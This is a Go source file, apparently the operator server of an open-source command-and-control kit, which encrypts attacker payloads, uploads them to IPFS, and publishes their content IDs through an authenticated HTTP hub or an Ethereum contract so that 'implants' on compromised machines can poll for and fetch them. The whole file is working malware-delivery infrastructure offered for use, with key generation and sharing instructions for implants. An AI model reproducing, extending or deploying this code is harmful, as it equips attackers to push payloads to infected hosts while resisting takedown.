noPROXY_c2s/c2s_ipfs_payloads/cmd/server/main.go

506 lines
14 KiB
Go

// Command server is the operator console for the C2 IPFS payload delivery system.
//
// MODE A — Simple HTTP CID Hub:
// Runs a lightweight HTTP server that serves new CIDs.
// Implants poll GET /cid for the current CID.
//
// MODE B — Smart Contract CID Feed (optional, requires go-ethereum):
// Build with: go build -tags ethereum ./cmd/server
// Interacts with an Ethereum smart contract that emits NewCID events.
package main
import (
"bufio"
"encoding/hex"
"encoding/json"
"flag"
"fmt"
"log"
"net/http"
"os"
"os/signal"
"strings"
"sync"
"syscall"
"time"
"github.com/churchofmalware/c2-ipfs-payload/pkg/auth"
"github.com/churchofmalware/c2-ipfs-payload/pkg/crypto"
"github.com/churchofmalware/c2-ipfs-payload/pkg/ipfs"
"github.com/churchofmalware/c2-ipfs-payload/pkg/types"
)
// Server state.
type Server struct {
mu sync.RWMutex
currentCID string
history []types.CIDEntry
startTime time.Time
mode string // "http" or "contract"
ipfsClient *ipfs.Client
encKey []byte
config Config
// For contract mode
contractAddress string
rpcURL string
}
// Config holds server configuration flags.
type Config struct {
port int
username string
password string
jwtToken string
mode string
ipfsAPI string
pinataJWT string
encKeyHex string
contractAddr string
rpcURL string
maxHistory int
}
func (s *Server) addHistory(cid, note string) {
s.mu.Lock()
defer s.mu.Unlock()
entry := types.CIDEntry{
CID: cid,
Timestamp: time.Now().UTC(),
Note: note,
}
s.history = append(s.history, entry)
if len(s.history) > s.config.maxHistory {
s.history = s.history[len(s.history)-s.config.maxHistory:]
}
s.currentCID = cid
}
// --- HTTP Handlers (Mode A) ---
func (s *Server) handleGetCID(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
s.mu.RUnlock()
if cid == "" {
http.Error(w, `{"error":"no CID set"}`, http.StatusNotFound)
return
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{"cid": cid})
}
func (s *Server) handlePostCID(w http.ResponseWriter, r *http.Request) {
if r.Method != http.MethodPost {
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
return
}
var req struct {
CID string `json:"cid"`
Note string `json:"note,omitempty"`
}
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
http.Error(w, fmt.Sprintf(`{"error":"invalid JSON: %s"}`, err), http.StatusBadRequest)
return
}
req.CID = strings.TrimSpace(req.CID)
if !ipfs.IsValidCID(req.CID) {
http.Error(w, `{"error":"invalid CID format"}`, http.StatusBadRequest)
return
}
s.addHistory(req.CID, req.Note)
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(map[string]string{
"status": "ok",
"cid": req.CID,
})
}
func (s *Server) handleHistory(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
w.Header().Set("Content-Type", "application/json")
if history == nil {
w.Write([]byte("[]"))
return
}
json.NewEncoder(w).Encode(history)
}
func (s *Server) handleStatus(w http.ResponseWriter, r *http.Request) {
s.mu.RLock()
cid := s.currentCID
history := make([]types.CIDEntry, len(s.history))
copy(history, s.history)
s.mu.RUnlock()
resp := types.StatusResponse{
CurrentCID: cid,
History: history,
Mode: s.mode,
Uptime: time.Since(s.startTime).Round(time.Second).String(),
}
w.Header().Set("Content-Type", "application/json")
json.NewEncoder(w).Encode(resp)
}
// --- Operator Console ---
func (s *Server) runConsole() {
scanner := bufio.NewScanner(os.Stdin)
fmt.Println()
fmt.Println("╔══════════════════════════════════════════╗")
fmt.Println("║ C2 IPFS Payload — Operator Console ║")
fmt.Println("╚══════════════════════════════════════════╝")
fmt.Printf("Mode: %s | Port: %d\n", strings.ToUpper(s.mode), s.config.port)
if s.mode == "http" {
fmt.Printf("CID Hub: http://0.0.0.0:%d/cid\n", s.config.port)
}
fmt.Println()
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" help — Show this help")
fmt.Println(" exit — Shutdown")
fmt.Println()
for {
fmt.Print("> ")
if !scanner.Scan() {
break
}
line := strings.TrimSpace(scanner.Text())
if line == "" {
continue
}
parts := strings.Fields(line)
cmd := parts[0]
switch cmd {
case "exit", "quit":
fmt.Println("Shutting down...")
os.Exit(0)
case "help":
fmt.Println("Commands:")
fmt.Println(" deploy <payload> — Encrypt, upload to IPFS, update CID")
fmt.Println(" cid <new-cid> — Manually set CID")
fmt.Println(" encrypt <file> — Encrypt a file, upload to IPFS, show CID")
fmt.Println(" status — Show current state")
fmt.Println(" history — Show recent CID history")
fmt.Println(" genkey — Generate a new encryption key")
fmt.Println(" exit — Shutdown")
case "genkey":
key, err := crypto.GenerateKey()
if err != nil {
fmt.Printf("Error: %v\n", err)
continue
}
fmt.Printf("New encryption key: %s\n", key)
fmt.Println("SAVE THIS KEY. It cannot be recovered.")
fmt.Println("Share it with implants via --decryption-key")
case "status":
s.mu.RLock()
fmt.Printf("Current CID: %s\n", s.currentCID)
fmt.Printf("Mode: %s\n", s.mode)
fmt.Printf("Uptime: %s\n", time.Since(s.startTime).Round(time.Second))
fmt.Printf("History entries: %d\n", len(s.history))
fmt.Printf("Contract address: %s\n", s.contractAddress)
s.mu.RUnlock()
case "history":
s.mu.RLock()
if len(s.history) == 0 {
fmt.Println("No history.")
} else {
fmt.Println("Recent CIDs:")
for i, entry := range s.history {
note := entry.Note
if note == "" {
note = "(no note)"
}
fmt.Printf(" %d. %s [%s] %s\n",
i+1, entry.CID, entry.Timestamp.Format(time.RFC3339), note)
}
}
s.mu.RUnlock()
case "cid":
if len(parts) < 2 {
fmt.Println("Usage: cid <cid>")
continue
}
newCID := parts[1]
if !ipfs.IsValidCID(newCID) {
fmt.Println("Invalid CID format.")
continue
}
note := ""
if len(parts) > 2 {
note = strings.Join(parts[2:], " ")
}
s.addHistory(newCID, note)
fmt.Printf("CID updated to: %s\n", newCID)
case "encrypt":
if len(parts) < 2 {
fmt.Println("Usage: encrypt <file>")
continue
}
filePath := parts[1]
s.cmdEncrypt(filePath)
case "deploy":
if len(parts) < 2 {
fmt.Println("Usage: deploy <payload>")
continue
}
filePath := parts[1]
s.cmdDeploy(filePath)
default:
fmt.Printf("Unknown command: %s. Type 'help'\n", cmd)
}
}
}
func (s *Server) cmdEncrypt(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading file: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting: %v\n", err)
return
}
// Extract filename without path
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
// Upload to IPFS
fmt.Printf("Uploading encrypted payload (%d bytes) to IPFS...\n", len(encrypted))
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
fmt.Println("Encrypted file saved locally as:", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println("Use 'ipfs add' or Pinata to upload manually, then 'cid <cid>' to set it.")
return
}
fmt.Printf("Uploaded! CID: %s\n", resp.CID)
fmt.Printf("Local copy: %s\n", encName)
os.WriteFile(encName, encrypted, 0644)
fmt.Println()
fmt.Println("To deploy, run: cid", resp.CID)
}
func (s *Server) cmdDeploy(filePath string) {
data, err := os.ReadFile(filePath)
if err != nil {
fmt.Printf("Error reading payload: %v\n", err)
return
}
encrypted, err := crypto.Encrypt(data, s.encKey)
if err != nil {
fmt.Printf("Error encrypting payload: %v\n", err)
return
}
fileName := filePath
if idx := strings.LastIndex(filePath, "/"); idx >= 0 {
fileName = filePath[idx+1:]
}
encName := fileName + ".enc"
fmt.Printf("Encrypted %s (%d bytes raw -> %d bytes encrypted)\n", filePath, len(data), len(encrypted))
fmt.Println("Uploading to IPFS...")
resp, err := s.ipfsClient.Upload(encrypted, encName)
if err != nil {
fmt.Printf("IPFS upload failed: %v\n", err)
return
}
s.addHistory(resp.CID, "deploy: "+fileName)
fmt.Printf("✅ Deployed!\n")
fmt.Printf(" Payload: %s\n", filePath)
fmt.Printf(" Encrypted: %s\n", encName)
fmt.Printf(" IPFS CID: %s\n", resp.CID)
fmt.Printf(" Size: %d bytes\n", len(encrypted))
if s.mode == "contract" {
if s.contractAddress != "" {
fmt.Println()
fmt.Println("To send CID to contract:")
fmt.Printf(" > send-cid %s %s\n", s.contractAddress, resp.CID)
fmt.Println("(Requires --rpc-url and go-ethereum build)")
}
}
}
// --- HTTP Server ---
func (s *Server) startHTTPServer() {
if s.mode != "http" {
return
}
mux := http.NewServeMux()
// Apply auth middleware based on config
var getCIDHandler http.HandlerFunc = s.handleGetCID
var postCIDHandler http.HandlerFunc = s.handlePostCID
var historyHandler http.HandlerFunc = s.handleHistory
var statusHandler http.HandlerFunc = s.handleStatus
if s.config.jwtToken != "" {
getCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handleGetCID)
postCIDHandler = auth.JWTAuth(s.config.jwtToken, s.handlePostCID)
historyHandler = auth.JWTAuth(s.config.jwtToken, s.handleHistory)
statusHandler = auth.JWTAuth(s.config.jwtToken, s.handleStatus)
} else {
getCIDHandler = auth.BasicAuth(s.config.username, s.config.password, getCIDHandler)
postCIDHandler = auth.BasicAuth(s.config.username, s.config.password, postCIDHandler)
historyHandler = auth.BasicAuth(s.config.username, s.config.password, historyHandler)
statusHandler = auth.BasicAuth(s.config.username, s.config.password, statusHandler)
}
mux.HandleFunc("/cid", func(w http.ResponseWriter, r *http.Request) {
switch r.Method {
case http.MethodGet:
getCIDHandler(w, r)
case http.MethodPost:
postCIDHandler(w, r)
default:
http.Error(w, "method not allowed", http.StatusMethodNotAllowed)
}
})
mux.HandleFunc("/history", historyHandler)
mux.HandleFunc("/status", statusHandler)
mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Content-Type", "application/json")
info := map[string]interface{}{
"service": "c2-ipfs-payload",
"version": "1.0.0",
"mode": s.mode,
"auth": s.config.jwtToken != "" || s.config.username != "",
"endpoints": map[string]string{
"GET /cid": "Get current CID",
"POST /cid": "Set a new CID (body: {\"cid\":\"...\"})",
"GET /history": "Get recent CID history",
"GET /status": "Get server status",
},
}
json.NewEncoder(w).Encode(info)
})
addr := fmt.Sprintf("0.0.0.0:%d", s.config.port)
log.Printf("CID Hub listening on %s (mode A — HTTP)", addr)
if err := http.ListenAndServe(addr, mux); err != nil {
log.Fatalf("Server failed: %v", err)
}
}
func main() {
// Flags
cfg := Config{}
flag.IntVar(&cfg.port, "port", 8443, "HTTP server port (mode A)")
flag.StringVar(&cfg.username, "user", "", "Basic auth username (mode A)")
flag.StringVar(&cfg.password, "pass", "", "Basic auth password (mode A)")
flag.StringVar(&cfg.jwtToken, "jwt", "", "JWT token for auth (mode A, overrides basic auth)")
flag.StringVar(&cfg.mode, "mode", "http", "Operation mode: 'http' or 'contract'")
flag.StringVar(&cfg.ipfsAPI, "ipfs-api", "http://127.0.0.1:5001/api/v0", "IPFS API URL (for local daemon uploads)")
flag.StringVar(&cfg.pinataJWT, "pinata-jwt", "", "Pinata.cloud JWT (alternative IPFS upload)")
flag.StringVar(&cfg.encKeyHex, "enc-key", "", "Encryption key (32-byte hex, auto-generates if empty)")
flag.StringVar(&cfg.contractAddr, "contract", "", "Smart contract address (mode B)")
flag.StringVar(&cfg.rpcURL, "rpc-url", "", "Ethereum RPC URL (mode B)")
flag.IntVar(&cfg.maxHistory, "max-history", 100, "Maximum history entries to keep")
flag.Parse()
// Encryption key
var encKey []byte
if cfg.encKeyHex != "" {
var err error
encKey, err = hex.DecodeString(cfg.encKeyHex)
if err != nil {
log.Fatalf("Invalid encryption key hex: %v", err)
}
if len(encKey) != crypto.KeySize {
log.Fatalf("Encryption key must be %d bytes hex (got %d)", crypto.KeySize, len(encKey))
}
fmt.Printf("Using provided encryption key: %s...%s\n",
cfg.encKeyHex[:8], cfg.encKeyHex[len(cfg.encKeyHex)-8:])
} else {
keyHex, err := crypto.GenerateKey()
if err != nil {
log.Fatalf("Failed to generate key: %v", err)
}
encKey, _ = hex.DecodeString(keyHex)
fmt.Printf("Generated new encryption key: %s\n", keyHex)
fmt.Println("⚠️ SAVE THIS KEY. Share with implants via --decryption-key")
fmt.Println()
}
// IPFS client
ipfsClient := ipfs.NewClient(cfg.ipfsAPI, cfg.pinataJWT)
server := &Server{
startTime: time.Now(),
mode: cfg.mode,
ipfsClient: ipfsClient,
encKey: encKey,
config: cfg,
contractAddress: cfg.contractAddr,
rpcURL: cfg.rpcURL,
history: make([]types.CIDEntry, 0, cfg.maxHistory),
}
// Start console
go server.runConsole()
// Start HTTP server (mode A only; mode B uses console-only for contract ops)
if cfg.mode == "http" {
go server.startHTTPServer()
} else if cfg.mode == "contract" {
log.Printf("Running in contract mode — no HTTP CID hub.")
log.Printf("Use 'send-cid' command (build with -tags ethereum) to emit CIDs to contract.")
fmt.Printf("Contract address: %s\n", cfg.contractAddr)
fmt.Printf("RPC URL: %s\n", cfg.rpcURL)
} else {
log.Fatalf("Unknown mode: %s (use 'http' or 'contract')", cfg.mode)
}
// Wait for signal
sigCh := make(chan os.Signal, 1)
signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
<-sigCh
fmt.Println("\nShutting down...")
}